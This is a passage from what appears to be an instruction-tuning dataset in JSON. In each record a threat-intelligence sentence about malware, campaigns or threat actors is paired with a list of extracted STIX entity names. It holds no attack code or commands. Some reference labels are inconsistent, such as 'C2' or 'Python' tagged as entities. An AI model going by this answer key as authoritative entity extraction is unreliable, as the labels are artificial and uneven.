malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOperation Dust Storm was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the Operation Dust Storm threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.\n",
    "output": "<entities>Operation Dust Storm|Japan|South Korea|United States|Europe|Southeast Asian|Japanese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTwitoor is a dropper application capable of receiving commands from social media.\n",
    "output": "<entities>Twitoor</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNetwalker can detect and terminate active security software-related processes on infected systems.\n",
    "output": "<entities>Netwalker</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNidiran can download and execute files.\n",
    "output": "<entities>Nidiran</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMosquito runs whoami on the victim\u2019s machine.\n",
    "output": "<entities>Mosquito|whoami</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTrickMo a 2FA bypass mobile banking trojan, most likely being distributed by TrickBot. TrickMo has been primarily targeting users located in Germany.\n",
    "output": "<entities>TrickMo|TrickBot|Germany</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIronNetInjector can identify processes via C# methods such as GetProcessesByName and running Tasklist with the Python os.popen function.\n",
    "output": "<entities>IronNetInjector|C#|Tasklist|Python</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPower Loader overwrites Explorer\u2019s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.\n",
    "output": "<entities>Explorer|Explorer.exe|Power Loader</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGazer logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.\n",
    "output": "<entities>Gazer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. \n",
    "output": "<entities>Pisloader|HTTPBrowser|APT18|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSynAck checks its directory location in an attempt to avoid launching in a sandbox.\n",
    "output": "<entities>SynAck</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAgent.btz collects the network adapter\u2019s IP and MAC address as well as IP addresses of the network adapter\u2019s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.\n",
    "output": "<entities>Agent.btz</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nbuild_downer has the ability to determine the local time to ensure malware installation only happens during the hours that the infected system is active.\n",
    "output": "<entities>build_downer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSardonic is a backdoor written in C and C++ that is known to be used by FIN8, as early as August 2021 to target a financial institution in the United States. Sardonic has a plugin system that can load specially made DLLs and execute their functions.\n",
    "output": "<entities>Sardonic|FIN8|C|C++|United States</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nA Winnti for Windows implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.\n",
    "output": "<entities>ASPNET_FILTER.DLL|Windows|Winnti|ASP.NET</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nYAHOYAH is a Trojan used by Tropic Trooper as a second-stage backdoor.\n",
    "output": "<entities>YAHOYAH|Tropic Trooper</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEnable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.\n",
    "output": "<entities>Android SafetyNet|Samsung Knox TIMA Attestation|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGoldMax has set an execution trigger date and time, stored as an ASCII Unix/Epoch time value.\n",
    "output": "<entities>GoldMax</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- 